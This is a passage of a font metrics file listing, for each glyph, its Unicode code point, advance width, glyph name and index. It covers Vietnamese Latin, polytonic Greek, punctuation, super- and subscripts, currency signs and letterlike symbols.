U 7845 ; WX 613 ; N uni1EA5 ; G 2219
U 7846 ; WX 684 ; N uni1EA6 ; G 2220
U 7847 ; WX 613 ; N uni1EA7 ; G 2221
U 7848 ; WX 684 ; N uni1EA8 ; G 2222
U 7849 ; WX 613 ; N uni1EA9 ; G 2223
U 7850 ; WX 684 ; N uni1EAA ; G 2224
U 7851 ; WX 613 ; N uni1EAB ; G 2225
U 7852 ; WX 684 ; N uni1EAC ; G 2226
U 7853 ; WX 613 ; N uni1EAD ; G 2227
U 7854 ; WX 684 ; N uni1EAE ; G 2228
U 7855 ; WX 613 ; N uni1EAF ; G 2229
U 7856 ; WX 684 ; N uni1EB0 ; G 2230
U 7857 ; WX 613 ; N uni1EB1 ; G 2231
U 7858 ; WX 684 ; N uni1EB2 ; G 2232
U 7859 ; WX 613 ; N uni1EB3 ; G 2233
U 7860 ; WX 684 ; N uni1EB4 ; G 2234
U 7861 ; WX 613 ; N uni1EB5 ; G 2235
U 7862 ; WX 684 ; N uni1EB6 ; G 2236
U 7863 ; WX 613 ; N uni1EB7 ; G 2237
U 7864 ; WX 632 ; N uni1EB8 ; G 2238
U 7865 ; WX 615 ; N uni1EB9 ; G 2239
U 7866 ; WX 632 ; N uni1EBA ; G 2240
U 7867 ; WX 615 ; N uni1EBB ; G 2241
U 7868 ; WX 632 ; N uni1EBC ; G 2242
U 7869 ; WX 615 ; N uni1EBD ; G 2243
U 7870 ; WX 632 ; N uni1EBE ; G 2244
U 7871 ; WX 615 ; N uni1EBF ; G 2245
U 7872 ; WX 632 ; N uni1EC0 ; G 2246
U 7873 ; WX 615 ; N uni1EC1 ; G 2247
U 7874 ; WX 632 ; N uni1EC2 ; G 2248
U 7875 ; WX 615 ; N uni1EC3 ; G 2249
U 7876 ; WX 632 ; N uni1EC4 ; G 2250
U 7877 ; WX 615 ; N uni1EC5 ; G 2251
U 7878 ; WX 632 ; N uni1EC6 ; G 2252
U 7879 ; WX 615 ; N uni1EC7 ; G 2253
U 7880 ; WX 295 ; N uni1EC8 ; G 2254
U 7881 ; WX 278 ; N uni1EC9 ; G 2255
U 7882 ; WX 295 ; N uni1ECA ; G 2256
U 7883 ; WX 278 ; N uni1ECB ; G 2257
U 7884 ; WX 787 ; N uni1ECC ; G 2258
U 7885 ; WX 612 ; N uni1ECD ; G 2259
U 7886 ; WX 787 ; N uni1ECE ; G 2260
U 7887 ; WX 612 ; N uni1ECF ; G 2261
U 7888 ; WX 787 ; N uni1ED0 ; G 2262
U 7889 ; WX 612 ; N uni1ED1 ; G 2263
U 7890 ; WX 787 ; N uni1ED2 ; G 2264
U 7891 ; WX 612 ; N uni1ED3 ; G 2265
U 7892 ; WX 787 ; N uni1ED4 ; G 2266
U 7893 ; WX 612 ; N uni1ED5 ; G 2267
U 7894 ; WX 787 ; N uni1ED6 ; G 2268
U 7895 ; WX 612 ; N uni1ED7 ; G 2269
U 7896 ; WX 787 ; N uni1ED8 ; G 2270
U 7897 ; WX 612 ; N uni1ED9 ; G 2271
U 7898 ; WX 913 ; N uni1EDA ; G 2272
U 7899 ; WX 612 ; N uni1EDB ; G 2273
U 7900 ; WX 913 ; N uni1EDC ; G 2274
U 7901 ; WX 612 ; N uni1EDD ; G 2275
U 7902 ; WX 913 ; N uni1EDE ; G 2276
U 7903 ; WX 612 ; N uni1EDF ; G 2277
U 7904 ; WX 913 ; N uni1EE0 ; G 2278
U 7905 ; WX 612 ; N uni1EE1 ; G 2279
U 7906 ; WX 913 ; N uni1EE2 ; G 2280
U 7907 ; WX 612 ; N uni1EE3 ; G 2281
U 7908 ; WX 732 ; N uni1EE4 ; G 2282
U 7909 ; WX 634 ; N uni1EE5 ; G 2283
U 7910 ; WX 732 ; N uni1EE6 ; G 2284
U 7911 ; WX 634 ; N uni1EE7 ; G 2285
U 7912 ; WX 838 ; N uni1EE8 ; G 2286
U 7913 ; WX 634 ; N uni1EE9 ; G 2287
U 7914 ; WX 838 ; N uni1EEA ; G 2288
U 7915 ; WX 634 ; N uni1EEB ; G 2289
U 7916 ; WX 838 ; N uni1EEC ; G 2290
U 7917 ; WX 634 ; N uni1EED ; G 2291
U 7918 ; WX 838 ; N uni1EEE ; G 2292
U 7919 ; WX 634 ; N uni1EEF ; G 2293
U 7920 ; WX 838 ; N uni1EF0 ; G 2294
U 7921 ; WX 634 ; N uni1EF1 ; G 2295
U 7922 ; WX 611 ; N Ygrave ; G 2296
U 7923 ; WX 592 ; N ygrave ; G 2297
U 7924 ; WX 611 ; N uni1EF4 ; G 2298
U 7925 ; WX 592 ; N uni1EF5 ; G 2299
U 7926 ; WX 611 ; N uni1EF6 ; G 2300
U 7927 ; WX 592 ; N uni1EF7 ; G 2301
U 7928 ; WX 611 ; N uni1EF8 ; G 2302
U 7929 ; WX 592 ; N uni1EF9 ; G 2303
U 7930 ; WX 769 ; N uni1EFA ; G 2304
U 7931 ; WX 477 ; N uni1EFB ; G 2305
U 7936 ; WX 659 ; N uni1F00 ; G 2306
U 7937 ; WX 659 ; N uni1F01 ; G 2307
U 7938 ; WX 659 ; N uni1F02 ; G 2308
U 7939 ; WX 659 ; N uni1F03 ; G 2309
U 7940 ; WX 659 ; N uni1F04 ; G 2310
U 7941 ; WX 659 ; N uni1F05 ; G 2311
U 7942 ; WX 659 ; N uni1F06 ; G 2312
U 7943 ; WX 659 ; N uni1F07 ; G 2313
U 7944 ; WX 684 ; N uni1F08 ; G 2314
U 7945 ; WX 684 ; N uni1F09 ; G 2315
U 7946 ; WX 877 ; N uni1F0A ; G 2316
U 7947 ; WX 877 ; N uni1F0B ; G 2317
U 7948 ; WX 769 ; N uni1F0C ; G 2318
U 7949 ; WX 801 ; N uni1F0D ; G 2319
U 7950 ; WX 708 ; N uni1F0E ; G 2320
U 7951 ; WX 743 ; N uni1F0F ; G 2321
U 7952 ; WX 541 ; N uni1F10 ; G 2322
U 7953 ; WX 541 ; N uni1F11 ; G 2323
U 7954 ; WX 541 ; N uni1F12 ; G 2324
U 7955 ; WX 541 ; N uni1F13 ; G 2325
U 7956 ; WX 541 ; N uni1F14 ; G 2326
U 7957 ; WX 541 ; N uni1F15 ; G 2327
U 7960 ; WX 711 ; N uni1F18 ; G 2328
U 7961 ; WX 711 ; N uni1F19 ; G 2329
U 7962 ; WX 966 ; N uni1F1A ; G 2330
U 7963 ; WX 975 ; N uni1F1B ; G 2331
U 7964 ; WX 898 ; N uni1F1C ; G 2332
U 7965 ; WX 928 ; N uni1F1D ; G 2333
U 7968 ; WX 634 ; N uni1F20 ; G 2334
U 7969 ; WX 634 ; N uni1F21 ; G 2335
U 7970 ; WX 634 ; N uni1F22 ; G 2336
U 7971 ; WX 634 ; N uni1F23 ; G 2337
U 7972 ; WX 634 ; N uni1F24 ; G 2338
U 7973 ; WX 634 ; N uni1F25 ; G 2339
U 7974 ; WX 634 ; N uni1F26 ; G 2340
U 7975 ; WX 634 ; N uni1F27 ; G 2341
U 7976 ; WX 837 ; N uni1F28 ; G 2342
U 7977 ; WX 835 ; N uni1F29 ; G 2343
U 7978 ; WX 1086 ; N uni1F2A ; G 2344
U 7979 ; WX 1089 ; N uni1F2B ; G 2345
U 7980 ; WX 1027 ; N uni1F2C ; G 2346
U 7981 ; WX 1051 ; N uni1F2D ; G 2347
U 7982 ; WX 934 ; N uni1F2E ; G 2348
U 7983 ; WX 947 ; N uni1F2F ; G 2349
U 7984 ; WX 338 ; N uni1F30 ; G 2350
U 7985 ; WX 338 ; N uni1F31 ; G 2351
U 7986 ; WX 338 ; N uni1F32 ; G 2352
U 7987 ; WX 338 ; N uni1F33 ; G 2353
U 7988 ; WX 338 ; N uni1F34 ; G 2354
U 7989 ; WX 338 ; N uni1F35 ; G 2355
U 7990 ; WX 338 ; N uni1F36 ; G 2356
U 7991 ; WX 338 ; N uni1F37 ; G 2357
U 7992 ; WX 380 ; N uni1F38 ; G 2358
U 7993 ; WX 374 ; N uni1F39 ; G 2359
U 7994 ; WX 635 ; N uni1F3A ; G 2360
U 7995 ; WX 635 ; N uni1F3B ; G 2361
U 7996 ; WX 570 ; N uni1F3C ; G 2362
U 7997 ; WX 600 ; N uni1F3D ; G 2363
U 7998 ; WX 489 ; N uni1F3E ; G 2364
U 7999 ; WX 493 ; N uni1F3F ; G 2365
U 8000 ; WX 612 ; N uni1F40 ; G 2366
U 8001 ; WX 612 ; N uni1F41 ; G 2367
U 8002 ; WX 612 ; N uni1F42 ; G 2368
U 8003 ; WX 612 ; N uni1F43 ; G 2369
U 8004 ; WX 612 ; N uni1F44 ; G 2370
U 8005 ; WX 612 ; N uni1F45 ; G 2371
U 8008 ; WX 804 ; N uni1F48 ; G 2372
U 8009 ; WX 848 ; N uni1F49 ; G 2373
U 8010 ; WX 1095 ; N uni1F4A ; G 2374
U 8011 ; WX 1100 ; N uni1F4B ; G 2375
U 8012 ; WX 938 ; N uni1F4C ; G 2376
U 8013 ; WX 970 ; N uni1F4D ; G 2377
U 8016 ; WX 579 ; N uni1F50 ; G 2378
U 8017 ; WX 579 ; N uni1F51 ; G 2379
U 8018 ; WX 579 ; N uni1F52 ; G 2380
U 8019 ; WX 579 ; N uni1F53 ; G 2381
U 8020 ; WX 579 ; N uni1F54 ; G 2382
U 8021 ; WX 579 ; N uni1F55 ; G 2383
U 8022 ; WX 579 ; N uni1F56 ; G 2384
U 8023 ; WX 579 ; N uni1F57 ; G 2385
U 8025 ; WX 784 ; N uni1F59 ; G 2386
U 8027 ; WX 998 ; N uni1F5B ; G 2387
U 8029 ; WX 1012 ; N uni1F5D ; G 2388
U 8031 ; WX 897 ; N uni1F5F ; G 2389
U 8032 ; WX 837 ; N uni1F60 ; G 2390
U 8033 ; WX 837 ; N uni1F61 ; G 2391
U 8034 ; WX 837 ; N uni1F62 ; G 2392
U 8035 ; WX 837 ; N uni1F63 ; G 2393
U 8036 ; WX 837 ; N uni1F64 ; G 2394
U 8037 ; WX 837 ; N uni1F65 ; G 2395
U 8038 ; WX 837 ; N uni1F66 ; G 2396
U 8039 ; WX 837 ; N uni1F67 ; G 2397
U 8040 ; WX 802 ; N uni1F68 ; G 2398
U 8041 ; WX 843 ; N uni1F69 ; G 2399
U 8042 ; WX 1089 ; N uni1F6A ; G 2400
U 8043 ; WX 1095 ; N uni1F6B ; G 2401
U 8044 ; WX 946 ; N uni1F6C ; G 2402
U 8045 ; WX 972 ; N uni1F6D ; G 2403
U 8046 ; WX 921 ; N uni1F6E ; G 2404
U 8047 ; WX 952 ; N uni1F6F ; G 2405
U 8048 ; WX 659 ; N uni1F70 ; G 2406
U 8049 ; WX 659 ; N uni1F71 ; G 2407
U 8050 ; WX 541 ; N uni1F72 ; G 2408
U 8051 ; WX 548 ; N uni1F73 ; G 2409
U 8052 ; WX 634 ; N uni1F74 ; G 2410
U 8053 ; WX 654 ; N uni1F75 ; G 2411
U 8054 ; WX 338 ; N uni1F76 ; G 2412
U 8055 ; WX 338 ; N uni1F77 ; G 2413
U 8056 ; WX 612 ; N uni1F78 ; G 2414
U 8057 ; WX 612 ; N uni1F79 ; G 2415
U 8058 ; WX 579 ; N uni1F7A ; G 2416
U 8059 ; WX 579 ; N uni1F7B ; G 2417
U 8060 ; WX 837 ; N uni1F7C ; G 2418
U 8061 ; WX 837 ; N uni1F7D ; G 2419
U 8064 ; WX 659 ; N uni1F80 ; G 2420
U 8065 ; WX 659 ; N uni1F81 ; G 2421
U 8066 ; WX 659 ; N uni1F82 ; G 2422
U 8067 ; WX 659 ; N uni1F83 ; G 2423
U 8068 ; WX 659 ; N uni1F84 ; G 2424
U 8069 ; WX 659 ; N uni1F85 ; G 2425
U 8070 ; WX 659 ; N uni1F86 ; G 2426
U 8071 ; WX 659 ; N uni1F87 ; G 2427
U 8072 ; WX 684 ; N uni1F88 ; G 2428
U 8073 ; WX 684 ; N uni1F89 ; G 2429
U 8074 ; WX 877 ; N uni1F8A ; G 2430
U 8075 ; WX 877 ; N uni1F8B ; G 2431
U 8076 ; WX 769 ; N uni1F8C ; G 2432
U 8077 ; WX 801 ; N uni1F8D ; G 2433
U 8078 ; WX 708 ; N uni1F8E ; G 2434
U 8079 ; WX 743 ; N uni1F8F ; G 2435
U 8080 ; WX 634 ; N uni1F90 ; G 2436
U 8081 ; WX 634 ; N uni1F91 ; G 2437
U 8082 ; WX 634 ; N uni1F92 ; G 2438
U 8083 ; WX 634 ; N uni1F93 ; G 2439
U 8084 ; WX 634 ; N uni1F94 ; G 2440
U 8085 ; WX 634 ; N uni1F95 ; G 2441
U 8086 ; WX 634 ; N uni1F96 ; G 2442
U 8087 ; WX 634 ; N uni1F97 ; G 2443
U 8088 ; WX 837 ; N uni1F98 ; G 2444
U 8089 ; WX 835 ; N uni1F99 ; G 2445
U 8090 ; WX 1086 ; N uni1F9A ; G 2446
U 8091 ; WX 1089 ; N uni1F9B ; G 2447
U 8092 ; WX 1027 ; N uni1F9C ; G 2448
U 8093 ; WX 1051 ; N uni1F9D ; G 2449
U 8094 ; WX 934 ; N uni1F9E ; G 2450
U 8095 ; WX 947 ; N uni1F9F ; G 2451
U 8096 ; WX 837 ; N uni1FA0 ; G 2452
U 8097 ; WX 837 ; N uni1FA1 ; G 2453
U 8098 ; WX 837 ; N uni1FA2 ; G 2454
U 8099 ; WX 837 ; N uni1FA3 ; G 2455
U 8100 ; WX 837 ; N uni1FA4 ; G 2456
U 8101 ; WX 837 ; N uni1FA5 ; G 2457
U 8102 ; WX 837 ; N uni1FA6 ; G 2458
U 8103 ; WX 837 ; N uni1FA7 ; G 2459
U 8104 ; WX 802 ; N uni1FA8 ; G 2460
U 8105 ; WX 843 ; N uni1FA9 ; G 2461
U 8106 ; WX 1089 ; N uni1FAA ; G 2462
U 8107 ; WX 1095 ; N uni1FAB ; G 2463
U 8108 ; WX 946 ; N uni1FAC ; G 2464
U 8109 ; WX 972 ; N uni1FAD ; G 2465
U 8110 ; WX 921 ; N uni1FAE ; G 2466
U 8111 ; WX 952 ; N uni1FAF ; G 2467
U 8112 ; WX 659 ; N uni1FB0 ; G 2468
U 8113 ; WX 659 ; N uni1FB1 ; G 2469
U 8114 ; WX 659 ; N uni1FB2 ; G 2470
U 8115 ; WX 659 ; N uni1FB3 ; G 2471
U 8116 ; WX 659 ; N uni1FB4 ; G 2472
U 8118 ; WX 659 ; N uni1FB6 ; G 2473
U 8119 ; WX 659 ; N uni1FB7 ; G 2474
U 8120 ; WX 684 ; N uni1FB8 ; G 2475
U 8121 ; WX 684 ; N uni1FB9 ; G 2476
U 8122 ; WX 716 ; N uni1FBA ; G 2477
U 8123 ; WX 692 ; N uni1FBB ; G 2478
U 8124 ; WX 684 ; N uni1FBC ; G 2479
U 8125 ; WX 500 ; N uni1FBD ; G 2480
U 8126 ; WX 500 ; N uni1FBE ; G 2481
U 8127 ; WX 500 ; N uni1FBF ; G 2482
U 8128 ; WX 500 ; N uni1FC0 ; G 2483
U 8129 ; WX 500 ; N uni1FC1 ; G 2484
U 8130 ; WX 634 ; N uni1FC2 ; G 2485
U 8131 ; WX 634 ; N uni1FC3 ; G 2486
U 8132 ; WX 654 ; N uni1FC4 ; G 2487
U 8134 ; WX 634 ; N uni1FC6 ; G 2488
U 8135 ; WX 634 ; N uni1FC7 ; G 2489
U 8136 ; WX 805 ; N uni1FC8 ; G 2490
U 8137 ; WX 746 ; N uni1FC9 ; G 2491
U 8138 ; WX 931 ; N uni1FCA ; G 2492
U 8139 ; WX 871 ; N uni1FCB ; G 2493
U 8140 ; WX 752 ; N uni1FCC ; G 2494
U 8141 ; WX 500 ; N uni1FCD ; G 2495
U 8142 ; WX 500 ; N uni1FCE ; G 2496
U 8143 ; WX 500 ; N uni1FCF ; G 2497
U 8144 ; WX 338 ; N uni1FD0 ; G 2498
U 8145 ; WX 338 ; N uni1FD1 ; G 2499
U 8146 ; WX 338 ; N uni1FD2 ; G 2500
U 8147 ; WX 338 ; N uni1FD3 ; G 2501
U 8150 ; WX 338 ; N uni1FD6 ; G 2502
U 8151 ; WX 338 ; N uni1FD7 ; G 2503
U 8152 ; WX 295 ; N uni1FD8 ; G 2504
U 8153 ; WX 295 ; N uni1FD9 ; G 2505
U 8154 ; WX 475 ; N uni1FDA ; G 2506
U 8155 ; WX 408 ; N uni1FDB ; G 2507
U 8157 ; WX 500 ; N uni1FDD ; G 2508
U 8158 ; WX 500 ; N uni1FDE ; G 2509
U 8159 ; WX 500 ; N uni1FDF ; G 2510
U 8160 ; WX 579 ; N uni1FE0 ; G 2511
U 8161 ; WX 579 ; N uni1FE1 ; G 2512
U 8162 ; WX 579 ; N uni1FE2 ; G 2513
U 8163 ; WX 579 ; N uni1FE3 ; G 2514
U 8164 ; WX 635 ; N uni1FE4 ; G 2515
U 8165 ; WX 635 ; N uni1FE5 ; G 2516
U 8166 ; WX 579 ; N uni1FE6 ; G 2517
U 8167 ; WX 579 ; N uni1FE7 ; G 2518
U 8168 ; WX 611 ; N uni1FE8 ; G 2519
U 8169 ; WX 611 ; N uni1FE9 ; G 2520
U 8170 ; WX 845 ; N uni1FEA ; G 2521
U 8171 ; WX 825 ; N uni1FEB ; G 2522
U 8172 ; WX 685 ; N uni1FEC ; G 2523
U 8173 ; WX 500 ; N uni1FED ; G 2524
U 8174 ; WX 500 ; N uni1FEE ; G 2525
U 8175 ; WX 500 ; N uni1FEF ; G 2526
U 8178 ; WX 837 ; N uni1FF2 ; G 2527
U 8179 ; WX 837 ; N uni1FF3 ; G 2528
U 8180 ; WX 837 ; N uni1FF4 ; G 2529
U 8182 ; WX 837 ; N uni1FF6 ; G 2530
U 8183 ; WX 837 ; N uni1FF7 ; G 2531
U 8184 ; WX 941 ; N uni1FF8 ; G 2532
U 8185 ; WX 813 ; N uni1FF9 ; G 2533
U 8186 ; WX 922 ; N uni1FFA ; G 2534
U 8187 ; WX 826 ; N uni1FFB ; G 2535
U 8188 ; WX 764 ; N uni1FFC ; G 2536
U 8189 ; WX 500 ; N uni1FFD ; G 2537
U 8190 ; WX 500 ; N uni1FFE ; G 2538
U 8192 ; WX 500 ; N uni2000 ; G 2539
U 8193 ; WX 1000 ; N uni2001 ; G 2540
U 8194 ; WX 500 ; N uni2002 ; G 2541
U 8195 ; WX 1000 ; N uni2003 ; G 2542
U 8196 ; WX 330 ; N uni2004 ; G 2543
U 8197 ; WX 250 ; N uni2005 ; G 2544
U 8198 ; WX 167 ; N uni2006 ; G 2545
U 8199 ; WX 636 ; N uni2007 ; G 2546
U 8200 ; WX 318 ; N uni2008 ; G 2547
U 8201 ; WX 200 ; N uni2009 ; G 2548
U 8202 ; WX 100 ; N uni200A ; G 2549
U 8203 ; WX 0 ; N uni200B ; G 2550
U 8204 ; WX 0 ; N uni200C ; G 2551
U 8205 ; WX 0 ; N uni200D ; G 2552
U 8206 ; WX 0 ; N uni200E ; G 2553
U 8207 ; WX 0 ; N uni200F ; G 2554
U 8208 ; WX 361 ; N uni2010 ; G 2555
U 8209 ; WX 361 ; N uni2011 ; G 2556
U 8210 ; WX 636 ; N figuredash ; G 2557
U 8211 ; WX 500 ; N endash ; G 2558
U 8212 ; WX 1000 ; N emdash ; G 2559
U 8213 ; WX 1000 ; N uni2015 ; G 2560
U 8214 ; WX 500 ; N uni2016 ; G 2561
U 8215 ; WX 500 ; N underscoredbl ; G 2562
U 8216 ; WX 318 ; N quoteleft ; G 2563
U 8217 ; WX 318 ; N quoteright ; G 2564
U 8218 ; WX 318 ; N quotesinglbase ; G 2565
U 8219 ; WX 318 ; N quotereversed ; G 2566
U 8220 ; WX 518 ; N quotedblleft ; G 2567
U 8221 ; WX 518 ; N quotedblright ; G 2568
U 8222 ; WX 518 ; N quotedblbase ; G 2569
U 8223 ; WX 518 ; N uni201F ; G 2570
U 8224 ; WX 500 ; N dagger ; G 2571
U 8225 ; WX 500 ; N daggerdbl ; G 2572
U 8226 ; WX 590 ; N bullet ; G 2573
U 8227 ; WX 590 ; N uni2023 ; G 2574
U 8228 ; WX 333 ; N onedotenleader ; G 2575
U 8229 ; WX 667 ; N twodotenleader ; G 2576
U 8230 ; WX 1000 ; N ellipsis ; G 2577
U 8231 ; WX 318 ; N uni2027 ; G 2578
U 8232 ; WX 0 ; N uni2028 ; G 2579
U 8233 ; WX 0 ; N uni2029 ; G 2580
U 8234 ; WX 0 ; N uni202A ; G 2581
U 8235 ; WX 0 ; N uni202B ; G 2582
U 8236 ; WX 0 ; N uni202C ; G 2583
U 8237 ; WX 0 ; N uni202D ; G 2584
U 8238 ; WX 0 ; N uni202E ; G 2585
U 8239 ; WX 200 ; N uni202F ; G 2586
U 8240 ; WX 1350 ; N perthousand ; G 2587
U 8241 ; WX 1690 ; N uni2031 ; G 2588
U 8242 ; WX 227 ; N minute ; G 2589
U 8243 ; WX 374 ; N second ; G 2590
U 8244 ; WX 520 ; N uni2034 ; G 2591
U 8245 ; WX 227 ; N uni2035 ; G 2592
U 8246 ; WX 374 ; N uni2036 ; G 2593
U 8247 ; WX 520 ; N uni2037 ; G 2594
U 8248 ; WX 339 ; N uni2038 ; G 2595
U 8249 ; WX 400 ; N guilsinglleft ; G 2596
U 8250 ; WX 400 ; N guilsinglright ; G 2597
U 8251 ; WX 838 ; N uni203B ; G 2598
U 8252 ; WX 485 ; N exclamdbl ; G 2599
U 8253 ; WX 531 ; N uni203D ; G 2600
U 8254 ; WX 500 ; N uni203E ; G 2601
U 8255 ; WX 804 ; N uni203F ; G 2602
U 8256 ; WX 804 ; N uni2040 ; G 2603
U 8257 ; WX 250 ; N uni2041 ; G 2604
U 8258 ; WX 1000 ; N uni2042 ; G 2605
U 8259 ; WX 500 ; N uni2043 ; G 2606
U 8260 ; WX 167 ; N fraction ; G 2607
U 8261 ; WX 390 ; N uni2045 ; G 2608
U 8262 ; WX 390 ; N uni2046 ; G 2609
U 8263 ; WX 922 ; N uni2047 ; G 2610
U 8264 ; WX 733 ; N uni2048 ; G 2611
U 8265 ; WX 733 ; N uni2049 ; G 2612
U 8266 ; WX 497 ; N uni204A ; G 2613
U 8267 ; WX 636 ; N uni204B ; G 2614
U 8268 ; WX 500 ; N uni204C ; G 2615
U 8269 ; WX 500 ; N uni204D ; G 2616
U 8270 ; WX 500 ; N uni204E ; G 2617
U 8271 ; WX 337 ; N uni204F ; G 2618
U 8272 ; WX 804 ; N uni2050 ; G 2619
U 8273 ; WX 500 ; N uni2051 ; G 2620
U 8274 ; WX 450 ; N uni2052 ; G 2621
U 8275 ; WX 1000 ; N uni2053 ; G 2622
U 8276 ; WX 804 ; N uni2054 ; G 2623
U 8277 ; WX 838 ; N uni2055 ; G 2624
U 8278 ; WX 586 ; N uni2056 ; G 2625
U 8279 ; WX 663 ; N uni2057 ; G 2626
U 8280 ; WX 838 ; N uni2058 ; G 2627
U 8281 ; WX 838 ; N uni2059 ; G 2628
U 8282 ; WX 318 ; N uni205A ; G 2629
U 8283 ; WX 797 ; N uni205B ; G 2630
U 8284 ; WX 838 ; N uni205C ; G 2631
U 8285 ; WX 318 ; N uni205D ; G 2632
U 8286 ; WX 318 ; N uni205E ; G 2633
U 8287 ; WX 222 ; N uni205F ; G 2634
U 8288 ; WX 0 ; N uni2060 ; G 2635
U 8289 ; WX 0 ; N uni2061 ; G 2636
U 8290 ; WX 0 ; N uni2062 ; G 2637
U 8291 ; WX 0 ; N uni2063 ; G 2638
U 8292 ; WX 0 ; N uni2064 ; G 2639
U 8298 ; WX 0 ; N uni206A ; G 2640
U 8299 ; WX 0 ; N uni206B ; G 2641
U 8300 ; WX 0 ; N uni206C ; G 2642
U 8301 ; WX 0 ; N uni206D ; G 2643
U 8302 ; WX 0 ; N uni206E ; G 2644
U 8303 ; WX 0 ; N uni206F ; G 2645
U 8304 ; WX 401 ; N uni2070 ; G 2646
U 8305 ; WX 179 ; N uni2071 ; G 2647
U 8308 ; WX 401 ; N uni2074 ; G 2648
U 8309 ; WX 401 ; N uni2075 ; G 2649
U 8310 ; WX 401 ; N uni2076 ; G 2650
U 8311 ; WX 401 ; N uni2077 ; G 2651
U 8312 ; WX 401 ; N uni2078 ; G 2652
U 8313 ; WX 401 ; N uni2079 ; G 2653
U 8314 ; WX 528 ; N uni207A ; G 2654
U 8315 ; WX 528 ; N uni207B ; G 2655
U 8316 ; WX 528 ; N uni207C ; G 2656
U 8317 ; WX 246 ; N uni207D ; G 2657
U 8318 ; WX 246 ; N uni207E ; G 2658
U 8319 ; WX 399 ; N uni207F ; G 2659
U 8320 ; WX 401 ; N uni2080 ; G 2660
U 8321 ; WX 401 ; N uni2081 ; G 2661
U 8322 ; WX 401 ; N uni2082 ; G 2662
U 8323 ; WX 401 ; N uni2083 ; G 2663
U 8324 ; WX 401 ; N uni2084 ; G 2664
U 8325 ; WX 401 ; N uni2085 ; G 2665
U 8326 ; WX 401 ; N uni2086 ; G 2666
U 8327 ; WX 401 ; N uni2087 ; G 2667
U 8328 ; WX 401 ; N uni2088 ; G 2668
U 8329 ; WX 401 ; N uni2089 ; G 2669
U 8330 ; WX 528 ; N uni208A ; G 2670
U 8331 ; WX 528 ; N uni208B ; G 2671
U 8332 ; WX 528 ; N uni208C ; G 2672
U 8333 ; WX 246 ; N uni208D ; G 2673
U 8334 ; WX 246 ; N uni208E ; G 2674
U 8336 ; WX 392 ; N uni2090 ; G 2675
U 8337 ; WX 417 ; N uni2091 ; G 2676
U 8338 ; WX 414 ; N uni2092 ; G 2677
U 8339 ; WX 444 ; N uni2093 ; G 2678
U 8340 ; WX 417 ; N uni2094 ; G 2679
U 8341 ; WX 399 ; N uni2095 ; G 2680
U 8342 ; WX 426 ; N uni2096 ; G 2681
U 8343 ; WX 166 ; N uni2097 ; G 2682
U 8344 ; WX 623 ; N uni2098 ; G 2683
U 8345 ; WX 399 ; N uni2099 ; G 2684
U 8346 ; WX 428 ; N uni209A ; G 2685
U 8347 ; WX 373 ; N uni209B ; G 2686
U 8348 ; WX 295 ; N uni209C ; G 2687
U 8352 ; WX 877 ; N uni20A0 ; G 2688
U 8353 ; WX 636 ; N colonmonetary ; G 2689
U 8354 ; WX 636 ; N uni20A2 ; G 2690
U 8355 ; WX 636 ; N franc ; G 2691
U 8356 ; WX 636 ; N lira ; G 2692
U 8357 ; WX 974 ; N uni20A5 ; G 2693
U 8358 ; WX 636 ; N uni20A6 ; G 2694
U 8359 ; WX 1271 ; N peseta ; G 2695
U 8360 ; WX 1074 ; N uni20A8 ; G 2696
U 8361 ; WX 989 ; N uni20A9 ; G 2697
U 8362 ; WX 838 ; N uni20AA ; G 2698
U 8363 ; WX 636 ; N dong ; G 2699
U 8364 ; WX 636 ; N Euro ; G 2700
U 8365 ; WX 636 ; N uni20AD ; G 2701
U 8366 ; WX 636 ; N uni20AE ; G 2702
U 8367 ; WX 1272 ; N uni20AF ; G 2703
U 8368 ; WX 636 ; N uni20B0 ; G 2704
U 8369 ; WX 636 ; N uni20B1 ; G 2705
U 8370 ; WX 636 ; N uni20B2 ; G 2706
U 8371 ; WX 636 ; N uni20B3 ; G 2707
U 8372 ; WX 774 ; N uni20B4 ; G 2708
U 8373 ; WX 636 ; N uni20B5 ; G 2709
U 8376 ; WX 636 ; N uni20B8 ; G 2710
U 8377 ; WX 636 ; N uni20B9 ; G 2711
U 8378 ; WX 636 ; N uni20BA ; G 2712
U 8381 ; WX 636 ; N uni20BD ; G 2713
U 8400 ; WX 0 ; N uni20D0 ; G 2714
U 8401 ; WX 0 ; N uni20D1 ; G 2715
U 8406 ; WX 0 ; N uni20D6 ; G 2716
U 8407 ; WX 0 ; N uni20D7 ; G 2717
U 8411 ; WX 0 ; N uni20DB ; G 2718
U 8412 ; WX 0 ; N uni20DC ; G 2719
U 8417 ; WX 0 ; N uni20E1 ; G 2720
U 8448 ; WX 970 ; N uni2100 ; G 2721
U 8449 ; WX 970 ; N uni2101 ; G 2722
U 8450 ; WX 698 ; N uni2102 ; G 2723
U 8451 ; WX 1123 ; N uni2103 ; G 2724
U 8452 ; WX 896 ; N uni2104 ; G 2725
U 8453 ; WX 969 ; N uni2105 ; G 2726
U 8454 ; WX 1032 ; N uni2106 ; G 2727
U 8455 ; WX 614 ; N uni2107 ; G 2728
U 8456 ; WX 698 ; N uni2108 ; G 2729
U 8457 ; WX 952 ; N uni2109 ; G 2730
U 8459 ; WX 988 ; N uni210B ; G 2731
U 8460 ; WX 754 ; N uni210C ; G 2732
U 8461 ; WX 850 ; N uni210D ; G 2733
U 8462 ; WX 634 ; N uni210E ; G 2734
U 8463 ; WX 634 ; N uni210F ; G 2735
U 8464 ; WX 470 ; N uni2110 ; G 2736
U 8465 ; WX 697 ; N Ifraktur ; G 2737
U 8466 ; WX 720 ; N uni2112 ; G 2738
U 8467 ; WX 413 ; N uni2113 ; G 2739
U 8468 ; WX 818 ; N uni2114 ; G 2740
U 8469 ; WX 801 ; N uni2115 ; G 2741
U 8470 ; WX 1040 ; N uni2116 ; G 2742
U 8471 ; WX 1000 ; N uni2117 ; G 2743
U 8472 ; WX 697 ; N weierstrass ; G 2744
U 8473 ; WX 701 ; N uni2119 ; G 2745
U 8474 ; WX 787 ; N uni211A ; G 2746
U 8475 ; WX 798 ; N uni211B ; G 2747
U 8476 ; WX 814 ; N Rfraktur ; G 2748
U 8477 ; WX 792 ; N uni211D ; G 2749
U 8478 ; WX 896 ; N prescription ; G 2750
U 8479 ; WX 684 ; N uni211F ; G 2751
U 8480 ; WX 1020 ; N uni2120 ; G 2752
U 8481 ; WX 1014 ; N uni2121 ; G 2753
U 8482 ; WX 1000 ; N trademark ; G 2754
U 8483 ; WX 684 ; N uni2123 ; G 2755
U 8484 ; WX 745 ; N uni2124 ; G 2756
U 8485 ; WX 578 ; N uni2125 ; G 2757
U 8486 ; WX 764 ; N uni2126 ; G 2758
U 8487 ; WX 764 ; N uni2127 ; G 2759
